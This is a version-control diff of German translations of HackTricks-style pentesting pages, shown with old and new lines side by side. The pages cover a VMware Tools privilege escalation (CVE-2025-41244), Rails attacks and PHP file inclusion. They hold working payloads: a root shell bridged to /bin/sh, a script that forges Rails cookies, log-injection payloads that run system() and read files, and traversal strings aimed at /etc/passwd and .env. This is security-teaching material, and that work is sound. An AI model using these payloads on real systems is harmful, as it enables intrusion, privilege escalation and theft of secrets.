- Diese Klasse von Bugs entsteht dadurch, dass Werten vertraut wird, die aus unprivilegiertem Client-Status (TIDs) abgeleitet sind, und diese an privilegierte Signal-Handler oder Logik gebunden werden.
- Absichern durch Erzwingen von credentials auf dem socket, Validierung von Nachrichtenformaten und Entkopplung privilegierter Operationen von extern gelieferten Thread-Identifikatoren.
## Referenzen

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Diese Technik missbraucht regex-gesteuerte Service-Discovery-Pipelines, die laufende Prozess-Commandlines parsen, um Service-Versionen zu ermitteln und anschließend ein Kandidaten-Binary mit einem "version"-Flag auszuführen. Wenn permissive Patterns untrusted, vom Angreifer kontrollierte Pfade akzeptieren (z. B. /tmp/httpd), führt der privilegierte Collector ein beliebiges Binary aus einem untrusted Speicherort aus, was zu Local privilege escalation führt. NVISO dokumentierte dies in VMware Tools/Aria Operations Service Discovery als CVE-2025-41244.
Diese Technik missbraucht regex-gesteuerte Service-Discovery-Pipelines, die laufende Prozess-Kommandozeilen parsen, um Service-Versionen zu ermitteln und dann ein Kandidaten-Binary mit einem "version"-Flag auszuführen. Wenn permissive Patterns untrusted, vom Angreifer kontrollierte Pfade akzeptieren (z. B. /tmp/httpd), führt der privilegierte Collector ein beliebiges Binary aus einem untrusted Speicherort aus, was zu einer lokalen Privilegienerhöhung führt. NVISO dokumentierte dies in VMware Tools/Aria Operations Service Discovery als CVE-2025-41244.
- Impact: Local privilege escalation to root (or to the privileged discovery account)
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
@ -10,14 +10,14 @@ Diese Technik missbraucht regex-gesteuerte Service-Discovery-Pipelines, die lauf
## How VMware service discovery works (high level)
- Credential-based (legacy): Aria führt Discovery-Skripte innerhalb des Guests über VMware Tools aus und verwendet konfigurierte privilegierte Zugangsdaten.
- Credential-less (modern): Die Discovery-Logik läuft innerhalb von VMware Tools und ist im Guest bereits privilegiert.
- Credential-based (legacy): Aria führt Discovery-Skripte innerhalb des Guests über VMware Tools aus und verwendet konfigurierte privilegierte Anmeldeinformationen.
- Credential-less (modern): Die Discovery-Logik läuft innerhalb von VMware Tools, bereits mit erhöhten Rechten im Guest.
Beide Modi führen letztlich Shell-Logik aus, die Prozesse mit listening sockets scannt, einen passenden Command-Pfad mittels regex extrahiert und das erste argv-Token mit einem version-Flag ausführt.
Beide Modi führen letztlich Shell-Logik aus, die Prozesse mit listening sockets scannt, einen passenden Kommando-Pfad via regex extrahiert und das erste argv-Token mit einem version-Flag ausführt.
## Root cause and vulnerable pattern (open-vm-tools)
In open-vm-tools stimmt das serviceDiscovery-Plugin-Skript get-versions.sh Kandidaten-Binaries mit weit gefassten regulären Ausdrücken ab und führt das erste Token ohne jegliche trusted-path-Validierung aus:
In open-vm-tools vergleicht das serviceDiscovery-Plugin-Skript get-versions.sh Kandidaten-Binaries mithilfe weit gefasster regulärer Ausdrücke und führt das erste Token ohne jegliche Prüfung des trusted-path aus:
```bash
get_version() {
PATTERN=$1
@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
done
}
```
Es wird mit freizügigen Mustern aufgerufen, die \S (Nicht-Leerzeichen) enthalten und problemlos mit Nicht-Systempfaden in benutzerschreibbaren Verzeichnissen übereinstimmen:
Es wird mit permissiven Mustern aufgerufen, die \S (kein Leerzeichen) enthalten und problemlos mit Nicht-Systempfaden in von Benutzern beschreibbaren Orten übereinstimmen:
```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
@ -38,23 +38,23 @@ get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
```
- Die Extraktion verwendet grep -Eo und nimmt das erste Token: ${COMMAND%%[[:space:]]*}
- Keine whitelist/allowlist von vertrauenswürdigen Systempfaden; jeder entdeckte listener mit einem passenden Namen wird mit -v/--version ausgeführt
- Extraktion verwendet grep -Eo und nimmt das erste Token: ${COMMAND%%[[:space:]]*}
- Keine Whitelist/Allowlist vertrauenswürdiger Systempfade; jeder gefundene Listener mit passendem Namen wird mit -v/--version ausgeführt
Dies schafft eine untrusted search path execution primitive: beliebige binaries, die in world-writable Verzeichnissen liegen (z. B. /tmp/httpd), werden von einer privilegierten Komponente ausgeführt.
Dies erzeugt ein untrusted search path execution primitive: beliebige Binärdateien, die sich in weltweit beschreibbaren Verzeichnissen befinden (z. B. /tmp/httpd), werden von einer privilegierten Komponente ausgeführt.
## Exploitation (both credential-less and credential-based modes)
## Ausnutzung (sowohl ohne Credentials als auch mit Credentials)
Preconditions
- Sie können einen unprivilegierten Prozess ausführen, der auf dem guest einen listening socket öffnet.
- Der discovery job ist aktiviert und läuft periodisch (historisch ~5 Minuten).
Voraussetzungen
- Du kannst einen unprivilegierten Prozess ausführen, der auf dem Gast einen Listening-Socket öffnet.
- Der discovery-Job ist aktiviert und läuft periodisch (historisch ~5 Minuten).
Steps
1) Stage ein binary in einem Pfad, der einem der permissive regexes entspricht, z. B. /tmp/httpd oder ./nginx
2) Führe es als niedrig-privilegierter Benutzer aus und stelle sicher, dass es einen listening socket öffnet
3) Warte auf den discovery cycle; der privilegierte collector wird automatisch ausführen: /tmp/httpd -v (oder ähnlich), wodurch dein Programm als root ausgeführt wird
Schritte
1) Platziere eine Binärdatei in einem Pfad, der einem der permissiven regexes entspricht, z. B. /tmp/httpd oder ./nginx
2) Starte sie als niedrig privilegierter Benutzer und stelle sicher, dass sie einen Listening-Socket öffnet
3) Warte auf den Discovery-Zyklus; der privilegierte Collector führt automatisch /tmp/httpd -v (oder Ähnliches) aus, wodurch dein Programm als root läuft
Minimal demo (using NVISOs approach)
Minimale Demo (unter Verwendung von NVISOs Ansatz)
```bash
# Build any small helper that:
# - default mode: opens a dummy TCP listener
@ -74,41 +74,41 @@ Wiederhergestellte SDMP-Wrapper-Skripte unter /tmp/VMware-SDMP-Scripts-{UUID}/ k
```bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
```
## Generalizing the technique: regex-driven discovery abuse (portable pattern)
## Verallgemeinerung der Technik: regex-driven discovery abuse (portable pattern)
Viele Agents und Monitoring-Suites führen Version-/Service-Erkennung durch, indem sie:
- Prozesse mit hörenden Sockets enumerieren
- argv/command lines mit permissiven regexes durchsuchen (z. B. Muster, die \S enthalten)
- den gefundenen Pfad mit einem harmlosen Flag wie -v, --version, -V, -h ausführen
Viele Agents und Monitoring-Suites implementieren Version-/Service-Discovery durch:
- Auflisten von Prozessen mit listening sockets
- Greppen von argv/command lines mit permissiven regexes (z. B. Muster, die \S enthalten)
- Ausführen des gefundenen Pfads mit einem harmlosen Flag wie -v, --version, -V, -h
Wenn die Regex untrusted paths akzeptiert und der Pfad aus einem privilegierten Kontext ausgeführt wird, erhält man CWE-426 Untrusted Search Path execution.
Wenn das Regex untrusted Pfade akzeptiert und der Pfad aus einem privilegierten Kontext ausgeführt wird, erhält man CWE-426 Untrusted Search Path execution.
Abuse recipe
- Benennen Sie Ihr Binary wie gängige Daemons, die die Regex wahrscheinlich matched: httpd, nginx, mysqld, dataserver
- Platzieren Sie es in einem beschreibbaren Verzeichnis: /tmp/httpd, ./nginx
- Stellen Sie sicher, dass es der Regex entspricht und einen beliebigen Port öffnet, um enumeriert zu werden
- Warten Sie auf den geplanten Collector; Sie erhalten eine automatische privilegierte Invocation von <path> -v
Missbrauchsrezept
- Benenne deine Binary wie gängige Daemons, die das Regex wahrscheinlich matched: httpd, nginx, mysqld, dataserver
- Platziere sie in einem beschreibbaren Verzeichnis: /tmp/httpd, ./nginx
- Stelle sicher, dass sie dem Regex entspricht und irgendeinen Port öffnet, um enumeriert zu werden
- Warte auf den geplanten Collector; du erhältst eine automatische privilegierte Invocation von <path> -v
Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
Anmerkung zur Verschleierung: Dies stimmt mit MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) überein, um die Trefferwahrscheinlichkeit und Tarnung zu erhöhen.
Reusable privileged I/O relay trick
- Bauen Sie Ihren Helfer so, dass er bei privilegierter Invocation (-v/--version) eine Verbindung zu einem bekannten Rendezvous herstellt (z. B. ein Linux abstract UNIX socket wie @cve) und stdio zu /bin/sh -i bridged. Das vermeidet Artefakte auf der Festplatte und funktioniert in vielen Umgebungen, in denen dasselbe Binary mit einem Flag erneut aufgerufen wird.
Wiederverwendbarer privilegierter I/O-Relay-Trick
- Baue deinen Helper so, dass er bei privilegiertem Aufruf (-v/--version) eine Verbindung zu einem bekannten Rendezvous (z. B. einem Linux abstract UNIX socket wie @cve) herstellt und stdio zu /bin/sh -i bridged. Das vermeidet Artefakte auf der Festplatte und funktioniert in vielen Umgebungen, in denen dieselbe Binary mit einem Flag erneut aufgerufen wird.
## Detection and DFIR guidance
## Erkennung und DFIR-Anleitung
Hunting queries
- Ungewöhnliche Kinder von vmtoolsd oder get-versions.sh wie /tmp/httpd, ./nginx, /tmp/mysqld
- Jegliche Ausführung von Nicht-System-Absolute-Pfaden durch discovery scripts (achten Sie auf Leerzeichen in ${COMMAND%%...}-Expansions)
- ps -ef --forest zur Visualisierung von Abstammungsbäumen: vmtoolsd -> get-versions.sh -> <non-system path>
Hunting-Abfragen
- Ungewöhnliche Children von vmtoolsd oder get-versions.sh wie /tmp/httpd, ./nginx, /tmp/mysqld
- Jede Ausführung von non-system absolute paths durch Discovery-Skripte (achte auf spaces in ${COMMAND%%...} expansions)
- ps -ef --forest zur Visualisierung von Ahnenbäumen: vmtoolsd -> get-versions.sh -> <non-system path>
On Aria SDMP (credential-based)
- Untersuchen Sie /tmp/VMware-SDMP-Scripts-{UUID}/ auf transiente Skripte und stdout/stderr-Artefakte, die die Ausführung von Angreifer-Pfaden zeigen
Bei Aria SDMP (credential-based)
- Untersuche /tmp/VMware-SDMP-Scripts-{UUID}/ nach transienten Skripten und stdout/stderr-Artefakten, die die Ausführung von Angreiferpfaden zeigen
Policy/telemetry
- Alarmieren, wenn privilegierte Collector aus Nicht-System-Präfixen ausgeführt werden: ^/(tmp|home|var/tmp|dev/shm)/
- File-integrity-Monitoring für get-versions.sh und VMware Tools plugins
Policy/Telemetrie
- Alert, wenn privilegierte Collector aus non-system Präfixen ausgeführt werden: ^/(tmp|home|var/tmp|dev/shm)/
- File integrity monitoring für get-versions.sh und VMware Tools plugins
## Mitigations
## Abhilfemaßnahmen
- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
- Disable or restrict credential-less discovery where feasible
@ -117,9 +117,9 @@ Policy/telemetry
- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact
- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths
## Notes for defenders and implementers
## Hinweise für Verteidiger und Implementierer
Safer matching and execution pattern
Sichereres Matching- und Ausführungsmuster
```bash
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
@ -138,7 +138,7 @@ esac
## Referenzen
- [NVISO You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
- [Broadcom Sicherheitshinweis für CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
- [open-vm-tools serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
- [MITRE ATT&CK T1036.005 Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)

View File

@ -1,18 +1,18 @@
# Ruby-Tricks
# Ruby Tricks
{{#include ../../banners/hacktricks-training.md}}
## File upload to RCE
## Datei-Upload zu RCE
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
Wie in [this article](https://www.offsec.com/blog/cve-2024-46986/) erklärt, kann das Hochladen einer `.rb`-Datei in sensible Verzeichnisse wie `config/initializers/` zu remote code execution (RCE) in Ruby on Rails-Anwendungen führen.
Tipps:
- Andere Boot-/eager-load-Orte, die beim App-Start ausgeführt werden, sind ebenfalls riskant, wenn sie writeable sind (z. B. `config/initializers/` ist das klassische). Wenn du einen beliebigen Datei-Upload findest, der irgendwo unter `config/` landet und später evaluiert/required wird, kannst du RCE beim Boot erhalten.
- Suche nach dev/staging-Builds, die vom Benutzer kontrollierte Dateien in das Container-Image kopieren, in dem Rails sie beim Boot lädt.
- Andere Boot-/eager-load-Standorte, die beim App-Start ausgeführt werden, sind ebenfalls riskant, wenn sie beschreibbar sind (z. B. ist `config/initializers/` der klassische Fall). Wenn Sie einen beliebigen Datei-Upload finden, der irgendwo unter `config/` landet und später evaluiert/required wird, können Sie beim Boot RCE erlangen.
- Achten Sie auf dev-/staging-Builds, die nutzerkontrollierte Dateien in das Container-Image kopieren, wo Rails sie beim Start laden wird.
## Active Storage image transformation → command execution (CVE-2025-24293)
Wenn eine Anwendung Active Storage mit `image_processing` + `mini_magick` verwendet und untrusted Parameter an Bildtransformationsmethoden übergibt, könnten Rails-Versionen vor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 Command Injection ermöglichen, weil einige Transformationsmethoden fälschlicherweise standardmäßig erlaubt waren.
Wenn eine Anwendung Active Storage mit `image_processing` + `mini_magick` verwendet und untrusted parameters an Image-Transformationsmethoden übergibt, könnten Rails-Versionen vor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 command injection erlauben, weil einige Transformationsmethoden standardmäßig fälschlicherweise erlaubt waren.
- A vulnerable pattern looks like:
```erb
@ -21,31 +21,31 @@ Wenn eine Anwendung Active Storage mit `image_processing` + `mini_magick` verwen
where `params[:t]` and/or `params[:v]` are attacker-controlled.
- What to try during testing
- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
- Identifizieren Sie Endpunkte, die Variant/Processing-Optionen, Transformationsnamen oder beliebige ImageMagick-Argumente akzeptieren.
- Fuzzen Sie `params[:t]` und `params[:v]` auf auffällige Fehler oder Ausführungsnebenwirkungen. Wenn Sie den Methodennamen beeinflussen können oder rohe Argumente an MiniMagick weiterreichen, können Sie auf dem Image-Processor-Host Code-Ausführung erzielen.
- Wenn Sie nur Lesezugriff auf generierte Varianten haben, versuchen Sie blind exfiltration über speziell gestaltete ImageMagick-Operationen.
- Remediation/detections
- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
- Wenn Sie Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mit Active Storage + `image_processing` + `mini_magick` und nutzerkontrollierten Transformationen sehen, gehen Sie davon aus, dass es ausnutzbar ist. Empfehlen Sie ein Upgrade und die Durchsetzung strikter allowlists für Methoden/Parameter sowie eine gehärtete ImageMagick-Policy.
## Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
Wenn der Ziel-Stack Rack-Middleware direkt oder über Frameworks verwendet, erlauben Versionen von `rack` vor 2.2.13, 3.0.14 und 3.1.12 Local File Inclusion via `Rack::Static`, wenn `:root` unset/misconfigured ist. Encodierte Traversals in `PATH_INFO` können Dateien unter dem Prozess-Arbeitsverzeichnis oder einem unerwarteten Root offenlegen.
- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
- Suchen Sie nach Apps, die `Rack::Static` in `config.ru` oder in Middleware-Stacks mounten. Versuchen Sie encodierte Traversals gegen statische Pfade, zum Beispiel:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
Passen Sie das Prefix an, um mit den konfigurierten `urls:` übereinzustimmen. Wenn die App mit Dateiinhalt antwortet, haben Sie wahrscheinlich LFI auf alles unter dem aufgelösten `:root`.
- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
- Mitigation: Rack updaten; sicherstellen, dass `:root` nur auf ein Verzeichnis mit öffentlichen Dateien zeigt und explizit gesetzt ist.
## Fälschen/Entschlüsseln von Rails-Cookies, wenn `secret_key_base` is leaked
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
Rails verschlüsselt und signiert Cookies mit Schlüsseln, die aus `secret_key_base` abgeleitet werden. If that value leaked (z. B. in einem Repo, Logs oder falsch konfigurierten Credentials), können Sie in der Regel Cookies entschlüsseln, ändern und wieder verschlüsseln. Das führt häufig zu einem authz bypass, wenn die App Rollen, User-IDs oder Feature-Flags in Cookies speichert.
Minimales Ruby, um moderne Cookies zu entschlüsseln und neu zu verschlüsseln (AES-256-GCM, Standard in aktuellen Rails):
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
```ruby
require 'cgi'
require 'json'
@ -71,8 +71,8 @@ forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
Hinweise:
- Ältere Apps können AES-256-CBC und Salts `encrypted cookie` / `signed encrypted cookie`, oder JSON/Marshal-Serializer verwenden. Passe Salts, cipher und serializer entsprechend an.
- Bei Kompromittierung oder während einer Bewertung `secret_key_base` rotieren, um alle vorhandenen Cookies ungültig zu machen.
- Ältere Apps können AES-256-CBC und die Salts `encrypted cookie` / `signed encrypted cookie` oder JSON/Marshal-Serializer verwenden. Passe Salts, Cipher und Serializer entsprechend an.
- Bei Kompromittierung oder im Rahmen eines Assessments rotiere `secret_key_base`, um alle bestehenden Cookies ungültig zu machen.
## Siehe auch (Ruby/Rails-specific vulns)
@ -92,9 +92,83 @@ Hinweise:
{{#endref}}
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
Wenn eine App (häufig ein einfacher Rack/Sinatra/Rails-Endpoint) sowohl:
- eine vom Benutzer kontrollierte Zeichenfolge unverändert protokolliert, und
- und später eine Datei per `load` lädt, deren Pfad von derselben Zeichenkette abgeleitet ist (nach `Pathname#cleanpath`),
kann man oft Remote Code Execution erreichen, indem man das Log vergiftet und die App dazu bringt, die Log-Datei mit `load` zu laden. Wichtige Primitive:
- Ruby `load` wertet den Inhalt der Ziel-Datei als Ruby aus, unabhängig von der Dateiendung. Jede lesbare Textdatei, deren Inhalt als Ruby geparst wird, wird ausgeführt.
- `Pathname#cleanpath` reduziert `.` und `..` Segmente, ohne das Dateisystem zu konsultieren, und ermöglicht path smuggling: vom Angreifer kontrollierter Junk kann zum Protokollieren vorne angefügt werden, während der bereinigte Pfad weiterhin auf die beabsichtigte Datei zur Ausführung zeigt (z. B. `../logs/error.log`).
### Minimales vulnerables Muster
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
```
### Warum das Log gültigen Ruby-Code enthalten kann
`Logger` schreibt Präfixzeilen wie:
```
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
```
In Ruby beginnt `#` einen Kommentar und `9/2/2025` ist nur Arithmetik. Um gültigen Ruby-Code zu injizieren, müssen Sie:
- Beginnen Sie Ihre payload in einer neuen Zeile, damit sie nicht durch das `#` in der INFO-Zeile auskommentiert wird; senden Sie eine führende Newline (`\n` oder `%0A`).
- Schließen Sie die offene `[` (die durch die INFO-Zeile eingeführt wurde). Ein häufiger Trick ist, mit `]` zu beginnen und optional den Parser mit `][0]=1` zufriedenzustellen.
- Platzieren Sie dann beliebigen Ruby-Code (z. B. `system(...)`).
Beispiel dessen, was nach einer Anfrage mit einem manipulierten Parameter im Log landen wird:
```
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
```
### Einen einzelnen String schmuggeln, der sowohl Code loggt als auch zum Log-Pfad auflöst
Wir wollen einen vom Angreifer kontrollierten String, der:
- beim rohen Logging unseren Ruby payload enthält, und
- beim Durchlauf durch `Pathname.new(<input>).cleanpath` zu `../logs/error.log` aufgelöst wird, sodass das anschließende `load` die soeben vergiftete Logdatei ausführt.
`Pathname#cleanpath` ignoriert Schemas und entfernt Traversal-Komponenten, daher funktioniert Folgendes:
```ruby
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
```
- Das `#` vor `://` sorgt dafür, dass Ruby den Rest ignoriert, wenn das Log ausgeführt wird, während `cleanpath` die Endung trotzdem auf `../logs/error.log` reduziert.
- Der führende Zeilenumbruch bricht aus der INFO-Zeile aus; `]` schließt die hängende Klammer; `][0]=1` erfüllt die Anforderungen des Parsers.
### End-to-end exploitation
1. Sende Folgendes als Namen des Backup-Skripts (URL-kodiere den ersten Zeilenumbruch ggf. als `%0A`):
```
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
```
2. Die App protokolliert deinen rohen String in `logs/error.log`.
3. Die App berechnet `cleanpath`, das sich zu `../logs/error.log` auflöst, und ruft `load` darauf auf.
4. Ruby führt den Code aus, den du ins Log injiziert hast.
Um eine Datei in einer CTF-ähnlichen Umgebung zu exfiltrieren:
```
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
```
URL-encoded PoC (erstes Zeichen ist ein Zeilenumbruch):
```
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
```
## Referenzen
- Rails Sicherheitsankündigung: CVE-2025-24293 Active Storage unsafe transformation methods (behoben in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Rails Sicherheitsankündigung: CVE-2025-24293 Active Storage unsichere Transformationsmethoden (behoben in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Sicherheitshinweis: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -13,7 +13,7 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
Wenn Sie gültige Anmeldeinformationen finden, können Sie weitere metasploit scanner modules verwenden, um Informationen zu erhalten.
Wenn Sie gültige Zugangsdaten finden, können Sie weitere metasploit scanner modules verwenden, um Informationen zu erhalten.
### Siehe auch

View File

@ -4,12 +4,12 @@
## File Inclusion
**Remote File Inclusion (RFI):** Die Datei wird von einem entfernten Server geladen (Am besten: Du kannst den Code schreiben und der Server führt ihn aus). In php ist dies standardmäßig **deaktiviert** (**allow_url_include**).\
**Remote File Inclusion (RFI):** Die Datei wird von einem entfernten Server geladen (Am besten: Du kannst den Code schreiben und der Server wird ihn ausführen). In php ist dies standardmäßig **deaktiviert** (**allow_url_include**).\
**Local File Inclusion (LFI):** Der Server lädt eine lokale Datei.
Die Schwachstelle tritt auf, wenn ein Benutzer die Datei, die vom Server geladen werden soll, in irgendeiner Weise kontrollieren kann.
Die Schwachstelle entsteht, wenn ein Benutzer die Datei, die vom Server geladen werden soll, in irgendeiner Form kontrollieren kann.
Anfällige **PHP-Funktionen**: require, require_once, include, include_once
Anfällige **PHP functions**: require, require_once, include, include_once
Ein interessantes Tool, um diese Schwachstelle auszunutzen: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
@ -19,16 +19,16 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Durch das Zusammenführen mehrerer \*nix LFI-Listen und durch das Hinzufügen weiterer Pfade habe ich diese erstellt:**
**Durch Kombination mehrerer \*nix LFI-Listen und Hinzufügen weiterer Pfade habe ich diese erstellt:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Versuche auch, `/` durch `\` zu ersetzen
Versuche auch, `/` durch `\` zu ersetzen\
Versuche auch, `../../../../../` hinzuzufügen
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die vulnerability existiert), kann [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) gefunden werden
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Verwundbarkeit besteht), findet man [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
@ -39,22 +39,22 @@ Zusammenführung verschiedener wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Versuche auch, `/` durch `\` zu ersetzen
Versuche auch, `/` durch `\` zu ersetzen\
Versuche auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die vulnerability existiert), kann [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) gefunden werden
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Verwundbarkeit besteht), findet man [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Siehe die LFI-Liste von linux.
Siehe die LFI-Liste für Linux.
## Grundlegende LFI und Bypässe
## Grundlegendes LFI und Bypasses
Alle Beispiele gelten für Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
Alle Beispiele beziehen sich auf Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### Traversal-Sequenzen werden nicht rekursiv entfernt
### traversal sequences werden nicht rekursiv entfernt
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -62,59 +62,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenkette (bypass of: $\_GET\['param']."php")
Bypass: das Anhängen weiterer Zeichen am Ende des übergebenen Strings umgehen (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Dies ist **seit PHP 5.4 behoben**
### **Kodierung**
### **Encoding**
Du könntest nicht-standardisierte Kodierungen wie double URL encode (und andere) verwenden:
Du könntest nicht-standardmäßige Encodings wie double URL encode (und andere) verwenden:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Aus einem vorhandenen Ordner
### Vom vorhandenen Ordner
Vielleicht überprüft das Backend den Ordnerpfad:
Möglicherweise überprüft das back-end den Ordnerpfad:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Erkunden von Dateisystemverzeichnissen auf einem Server
### Dateisystemverzeichnisse auf einem Server erkunden
